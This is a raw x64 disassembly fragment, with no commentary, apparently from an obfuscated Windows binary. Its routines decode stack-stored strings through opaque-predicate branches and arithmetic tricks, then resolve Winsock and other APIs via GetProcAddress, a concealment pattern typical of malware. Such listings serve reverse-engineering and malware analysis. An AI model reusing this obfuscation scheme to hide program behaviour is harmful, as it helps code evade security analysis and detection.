lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140071bc9
movzx r9d, r11b
lea edx, [r9 + 0x46]
movzx eax, r10b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140071e88
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140071bf5
movzx r9d, r11b
lea edx, [r9 - 0x66]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x36
add dil, dl
jmp 0x140071d93
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400718a6
lea edx, [r11 - 0x2e]
movzx eax, r10b
and al, dl
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x140071f53
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140071c55
lea ecx, [r11 - 0x68]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x28
movzx eax, byte [rbp + r11 + 0x170]
add rax, r8
add r11, rax
inc r11
jmp 0x1400713e3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140071c7a
lea ecx, [r11 + 8]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x38
jmp 0x140071ead
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140071ca6
movzx r9d, r11b
lea edx, [r9 + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140071e88
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140071cd4
lea edx, [r11 + 0x40]
movzx eax, r10b
and al, dl
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x1400713e3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140071862
movzx r9d, r11b
lea edx, [r9 + 0x78]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x48
add dil, dl
jmp 0x140071e3e
movzx r9d, r11b
lea edx, [r9 - 0x50]
movzx eax, r10b
and al, dl
movzx ecx, byte [rbp + r11 + 0x170]
sub cl, al
add cl, 0x18
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140071e88
movzx r9d, r11b
lea edx, [r9 - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140071d93
lea ecx, [r11 - 0x5e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6e
movzx eax, byte [rbp + r11 + 0x170]
add rax, r8
add r11, rax
inc r11
jmp 0x1400713e3
movzx r9d, r11b
lea edx, [r9 + 0x6a]
mov ecx, reloc.WS2_32.dll_listen
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x5a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x76
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x170], al
inc r8
add rax, r8
sub r11, rax
jmp 0x140071ef0
lea ecx, [r11 + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x22
jmp 0x140071eb0
lea edx, [r11 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x1400713e3
movzx r9d, r11b
lea ecx, [r9 - 0x3e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4e
jmp 0x140071e3e
movzx r9d, r11b
lea edx, [r9 - 0x76]
movzx eax, dl
and al, r10b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x22
movzx eax, r9b
and al, r10b
mov ecx, 9
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x170], cl
inc r8
dec r11
inc r11
jmp 0x1400713e3
movzx r9d, r11b
lea ecx, [r9 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7a
add r9b, 0x3e
movzx eax, r9b
and al, r10b
mov ecx, 0x27
sub cl, al
add cl, cl
add cl, r9b
add cl, dil
add cl, r10b
mov byte [rbp + r11 + 0x170], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400713e3
movabs rdx, 0x35c8f7c80b2f0fc6
add rdx, r11
movzx r10d, r9b
movzx eax, dl
and al, r9b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6a
add dil, dl
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x58
add cl, r10b
mov byte [rbp + r11 + 0x170], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x170]
add rax, r8
add r11, rax
inc r11
jmp 0x1400713e3
movabs rdx, 0x86abc7de6d1c3caa
add rdx, r11
movzx eax, r9b
and al, dl
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r11 + 0x170]
add rax, r8
add r11, rax
inc r11
jmp 0x1400713e3
sub r11b, 0x3a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x6a
jmp 0x1400713e0
sub r11b, 0x56
movzx eax, r10b
and al, r11b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x1400713d0
lea rdx, [rbp + 0x152ecd8]
jmp 0x140071fc9
lea rdx, [rbp + 0x11c5666]
jmp 0x140071fc9
lea rdx, [rbp + 0x170]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
mov byte [rbp + 0x190], WSAGetLastError
mov byte [rbp + 0x191], 1
mov byte [rbp + 0x192], 0x7c
mov byte [rbp + 0x193], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x194], recvfrom
mov byte [rbp + 0x195], WSACleanup
mov byte [rbp + 0x196], 0x65
mov byte [rbp + 0x197], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x198], 8
mov byte [rbp + 0x199], 0x75
mov byte [rbp + 0x19a], 9
mov byte [rbp + 0x19b], 2
mov byte [rbp + 0x19c], 0x9a
xor eax, eax
mov qword [rbp + 0x19d], rax
mov byte [rbp + 0x1a5], al
movabs rsi, 0x64363f7332ac78c3
movabs r14, 0x2ca2be5998056a49
movzx edi, byte [rbp + 0x400]
nop word [rax + rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x16
jae 0x140072b73
movzx r10d, byte [rbp + r11 + 0x190]
mov rdx, r10
nop dword [rax]
cmp rbx, r11
ja 0x140072b67
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400720bc
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x55
jmp 0x1400720f6
je 0x140072af7
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140072a8d
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140072a44
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400729ec
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400729cb
cmp r8, r11
ja 0x140072b5b
lea rax, [r8 + 0x400]
cmp rbx, rax
jae 0x140072123
lea ecx, [r11 - 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 7
jmp 0x140072170
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140072984
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140072960
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140072945
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007292a
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400728fd
nop dword [rax]
nop dword [rax + rax]
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x1400726a2
nop dword [rax]
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14007267f
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14007265b
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140072636
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140072613
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x1400725f8
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x1400725d9
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400725ba
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14007259f
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007256e
lea rbx, [r8 + 3]
lea r8, [rbx + 0x28]
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140072b3e
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140072b21
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140072337
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14007231c
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140072301
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140072525
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x1400724e0
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x1400724a0
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14007247a
lea rbx, [r8 + 0x42]
lea r8, [rbx + 0x41]
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14007244d
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140072432
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140072413
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x1400723f8
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x1400723dd
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x1400723ba
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140072399
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140072375
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140072352
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 0xa]
jmp 0x140072180
lea ecx, [r11 - 0x1f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x27
jmp 0x140072170
lea ecx, [r11 + 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7d
jmp 0x1400720f6
lea ecx, [r11 - 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2d
jmp 0x140072086
lea edx, [r11 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x14007299e
lea ecx, [r11 + 0x72]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1e
inc r8
dec r11
inc r11
jmp 0x140072073
lea ecx, [r11 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
dec r11
inc r11
jmp 0x140072073
lea edx, [r11 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x140072a06
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x140072a28
lea ecx, [r11 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x76
jmp 0x140072a2b
lea edx, [r11 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140072a63
lea ecx, [r11 + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x22
jmp 0x140072ab0
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
movzx eax, byte [rbp + r11 + 0x190]
add rax, r8
add r11, rax
inc r11
jmp 0x140072073
lea ecx, [r11 - 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x31
mov byte [rbp + r11 + 0x190], dil
inc r11
jmp 0x140072073
lea ecx, [r11 + 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x25
cmp r8, 0x20
jb 0x140072490
movzx r9d, r11b
lea ecx, [r9 - 0x4e]
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x14007299e
lea ecx, [r11 - 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7b
cmp rbx, 0x2a
jae 0x1400728c0
lea rax, [r8 + 0xa]
cmp rbx, rax
jbe 0x140072804
lea ecx, [r11 + 0x76]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3a
jmp 0x1400724b6
lea ecx, [r11 + 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2f
lea rax, [rbx + r8]
cmp rax, 0x42
je 0x1400728e7
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x140072786
lea ecx, [r11 + 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x41
jmp 0x1400724f6
lea edx, [r11 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x190]
add rax, r8
add r11, rax
inc r11
jmp 0x140072073
lea ecx, [r11 + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2c
jmp 0x140072ab0
lea edx, [r11 - 0x12]
movzx eax, dl
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140072a63
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140072a2b
lea ecx, [r11 - 0x1e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2e
jmp 0x140072a28
movzx r9d, r11b
lea edx, [r9 + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140072a06
lea edx, [r11 - 0x2a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140072073
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
inc r8
dec r11
inc r11
jmp 0x140072073
movzx r9d, r11b
lea edx, [r9 - 0x36]
movzx eax, dl
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007299e
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x1400726ca
lea ecx, [r11 - 0x3d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x55
jmp 0x14007253b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140072704
lea edx, [r11 - 2]
movzx eax, dl
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x190]
add rax, r8
add r11, rax
inc r11
jmp 0x140072073
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007272c
lea ecx, [r11 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x46
jmp 0x140072a63
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140072754
lea edx, [r11 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140072a28
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007253b
lea edx, [r11 + 0x22]
movzx eax, dl
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140072073
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400727ae
movzx r9d, r11b
lea ecx, [r9 - 3]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x15
jmp 0x14007299e
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400727d8
lea ecx, [r11 + 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3f
dec r11
inc r11
jmp 0x140072073
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400724f6
movzx r9d, r11b
lea ecx, [r9 - 0x71]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x17
jmp 0x140072a06
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007283e
lea edx, [r11 - 4]
movzx eax, dl
and al, r10b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x190]
add rax, r8
add r11, rax
inc r11
jmp 0x140072073
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140072866
lea ecx, [r11 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x140072a63
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007288e
movzx r9d, r11b
lea ecx, [r9 - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x36
jmp 0x140072a06
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400724b6
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140072073
movzx r9d, r11b
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
movzx ecx, byte [rbp + r11 + 0x190]
sub cl, al
add cl, 0x3c
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140072a06
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x32]
jmp 0x140072a63
lea ecx, [r11 - 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0xd
movzx eax, byte [rbp + r11 + 0x190]
add rax, r8
add r11, rax
inc r11
jmp 0x140072073
lea ecx, [r11 - 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x61
jmp 0x140072a63
lea ecx, [r11 + 0x23]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0xb
jmp 0x140072a2b
lea ecx, [r11 + 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4d
inc r8
dec r11
inc r11
jmp 0x140072073
movzx r9d, r11b
lea ecx, [r9 - 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5d
add r9b, 0x75
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x33
add r9b, r10b
mov byte [rbp + r11 + 0x190], r9b
inc r8
dec r11
inc r11
jmp 0x140072073
lea ecx, [r11 + 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 5
dec r11
inc r11
jmp 0x140072073
movzx r9d, r11b
lea ecx, [r9 - 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x51
sub r9b, 5
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x23
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0x190], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140072073
movabs rax, 0xbd7bbc2662b74d55
add rax, r11
movzx r10d, dl
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x53
lea ecx, [r11 - 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x79
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x190], al
inc r8
add rax, r8
sub r11, rax
jmp 0x140072ab0
movabs rcx, 0xf50f3d3ffd5e5bcf
add rcx, r11
movzx r10d, dl
and dl, cl
add dl, dl
movzx edi, r10b
sub dil, dl
add dil, 0x57
add dil, cl
lea edx, [r11 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x190], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x190]
add rax, r8
add r11, rax
inc r11
jmp 0x140072073
lea rcx, [r11 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
inc dil
movzx eax, byte [rbp + r11 + 0x190]
add rax, r8
add r11, rax
inc r11
jmp 0x140072073
add r11b, 0x4f
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x29
jmp 0x140072070
sub r11b, 0x37
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x7f
jmp 0x140072060
lea rdx, [rbp + 0x1612494]
jmp 0x140072b7a
lea rdx, [rbp + 0xcd9d57]
jmp 0x140072b7a
lea rdx, [rbp + 0x190]
mov rsi, qword [rbp + 0x408]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
mov byte [rbp + 0x1b0], 0x7f
mov byte [rbp + 0x1b1], 0x5e
mov byte [rbp + 0x1b2], 0xac
mov byte [rbp + 0x1b3], 0x7e
mov byte [rbp + 0x1b4], 0x56
mov byte [rbp + 0x1b5], 0x56
mov byte [rbp + 0x1b6], 0x5b
mov byte [rbp + 0x1b7], 0x51
mov byte [rbp + 0x1b8], 0xaa
mov byte [rbp + 0x1b9], 0x53
mov byte [rbp + 0x1ba], 0x47
mov byte [rbp + 0x1bb], 0x46
mov byte [rbp + 0x1bc], 0xb6
mov byte [rbp + 0x1bd], 0x25
xor eax, eax
mov qword [rbp + 0x1be], rax
mov dword [rbp + 0x1c6], eax
mov word [rbp + 0x1ca], ax
mov byte [rbp + 0x1cc], al
movzx edi, byte [rbp + 0x400]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1d
jae 0x1400737e0
movzx r9d, byte [rbp + r11 + 0x1b0]
mov rdx, r9
nop dword [rax + rax]
cmp rbx, r11
ja 0x1400737d4
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140072c79
movabs rcx, 0x75e496f2b655c8a7
add rcx, r11
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x6f
jmp 0x140072ca6
je 0x14007375a
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140073727
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400736e0
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400736bb
cmp r8, r11
ja 0x1400737c8
lea rcx, [r8 + 2]
cmp rbx, rcx
jae 0x140072cd4
lea ecx, [r11 - 0x4d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1b
jmp 0x140072d11
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140073670
cmp rbx, rcx
je 0x14007364e
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140073632
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400735d5
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400735a7
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14007329f
nop
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14007327f
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14007325a
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140073235
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140073215
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x1400731f6
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400731d7
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x1400731b4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140073198
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14007316a
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140072d20
lea rbx, [r8 + 1]
lea r8, [rbx + 0x20]
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x1400737ab
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14007378e
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140072f12
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140072ef3
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140072ed4
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140073119
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x1400730d0
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140073089
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140073062
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140072d20
lea rbx, [r8 + 0x28]
lea r8, [rbx + 0x7a]
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140073034
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140073018
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140072ff5
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140072fd9
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140072fba
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140072f9a
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140072f75
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140072f50
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140072f30
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140072d20
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x5a]
jmp 0x140072d20
lea edx, [r11 - 0x53]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x45
add dil, dl
jmp 0x140072d11
lea edx, [r11 + 0x5f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x67
add dil, dl
jmp 0x140072ca6
lea edx, [r11 + 0x11]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dl, 0x77
add dil, dl
jmp 0x140072c38
lea edx, [r11 - 0x68]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x28
movzx r10d, r11b
jmp 0x14007368b
lea ecx, [r11 + 0x4a]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 6
inc r8
dec r11
inc r11
jmp 0x140072c25
lea edx, [r11 - 4]
movzx eax, r9b
and al, dl
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r11
inc r11
jmp 0x140072c25
lea edx, [r11 - 0x52]
movzx eax, r9b
and al, dl
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r10d, r11b
jmp 0x1400736fb
lea edx, [r11 + 0x60]
movzx eax, r9b
and al, dl
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007373e
lea ecx, [r11 + 0x12]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x7e
jmp 0x140073741
lea edx, [r11 - 0x3c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5c
add dil, dl
movzx r10d, r11b
jmp 0x140073579
lea edx, [r11 + 0x76]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3a
jmp 0x1400735ec
lea ecx, [r11 + 0x28]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x18
